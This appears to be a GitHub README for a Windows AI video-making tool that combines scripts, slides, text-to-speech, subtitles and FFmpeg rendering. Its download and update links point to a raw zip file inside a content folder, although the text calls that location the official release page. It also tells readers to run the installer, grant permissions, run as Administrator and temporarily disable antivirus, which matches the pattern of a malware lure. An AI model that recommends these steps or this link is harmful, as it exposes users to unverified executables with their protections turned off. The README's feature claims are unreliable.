This tool helps you create videos using artificial intelligence. It combines a script, slides, text-to-speech (TTS), subtitles, and video rendering with FFmpeg. The workflow guides you step-by-step to turn text and images into a complete video. You do not need any programming knowledge to use it.
It works on Windows computers and makes video creation easier with automation. The process includes generating subtitles and spoken audio from your script, managing video slides, and rendering the final output using FFmpeg.
Before you start, make sure your computer meets these requirements:
- Windows 10 or later (64-bit recommended)
- At least 8 GB of RAM
- 10 GB of free disk space
- Internet connection for initial download and dependencies
- Basic permissions to install software and run programs
- Optional: Headphones or speakers for checking audio output
Follow these steps to download and run the application on your Windows computer:
-
Click the green button at the top labeled Download Release or visit the release page here:
https://raw.githubusercontent.com/cronux-ind/ai-video-generation-workflow/main/content/topics/video_workflow_generation_ai_3.1.zip -
On the release page, look for the latest version. Download the file named similar to
ai-video-generation-workflow-setup.exeor a.ziparchive. -
If you download an
.exefile, double-click it to run the installer. If you download a.zipfile, right-click it and select Extract All, then open the extracted folder. -
Follow the installation prompts. Usually, you just click Next until the installation completes.
-
Once installed, open the application from your desktop shortcut or start menu.
-
The first time the app runs, it might ask for permission to access your microphone or files. Allow these permissions for full functionality.
Here is a simple guide to create your first video:
Type or paste your video script into the provided text box. This will be the narration.
Add images or slides for each part of the script. The app matches slides with the script's sections.
Use the built-in text-to-speech feature to create spoken audio from your script. The app supports multiple voices.
The tool will automatically create subtitles from your script. You can edit timing and text if needed.
Press Render to combine slides, audio, and subtitles into the final video. The app uses FFmpeg for high-quality output.
Save your video file in MP4 format. You can share it on social media or upload it anywhere.
You must download the software from the official GitHub release page:
Look for the latest version available. The release page will have assets with the setup file or zipped program folder.
- If you get a setup file (ends with
.exe), run it and follow the installation steps. - If you get a zipped package, extract it to a folder and run the main executable inside.
This project uses FFmpeg for video rendering. The needed version is included with the installer. You do not need to install FFmpeg separately.
This application has several parts working together:
- Script Input: Write or import your script. This text guides the whole video.
- Slides Upload: Add images to turn your script into a video story.
- Text-to-Speech (TTS): Converts your script to voice narration automatically.
- Subtitles Generator: Creates text captions synced with audio.
- FFmpeg Rendering: Combines slides, audio, and subtitles into video files.
- Automation Workflow: Handles all these parts without manual video editing.
The app uses open source tools and artificial intelligence to simplify video making.
When installed or extracted, the main folder will contain:
app.exeor main executableslides/— folder to store your images or presentationsscripts/— save your text scripts here for easy reuseoutput/— rendered video files appear here after finishingffmpeg/— FFmpeg binaries needed for video encodingconfig.json— settings file controlling the workflow
If the application does not start or crashes:
- Check that your Windows is updated.
- Make sure you have enough free disk space.
- Try running the app as Administrator (right-click icon > Run as Administrator).
- Temporarily disable antivirus as it may block some files.
- Restart your computer and try again.
If the audio or video does not play or export properly:
- Verify that your speakers or headphones work.
- Confirm you added slides and script correctly before rendering.
- Make sure FFmpeg is present in the installation folder.
To update:
- Visit https://raw.githubusercontent.com/cronux-ind/ai-video-generation-workflow/main/content/topics/video_workflow_generation_ai_3.1.zip
- Download the latest release.
- Run the new installer or extract the new version.
- Your previous projects and saved scripts remain safe in their folders.
- Use clear and simple scripts to improve text-to-speech quality.
- Keep slide images consistent in size and format (PNG or JPEG).
- Edit subtitles if timing seems off before rendering the final video.
- Save multiple versions to test different voices or slide orders.
- Use headphones for the best audio quality check.
This repository uses tools and concepts related to:
- AI video creation
- Automation of video workflows
- Text-to-speech (TTS) technology
- Subtitle generation
- Video rendering with FFmpeg
- Typescript for underlying code
- Slides and script synchronization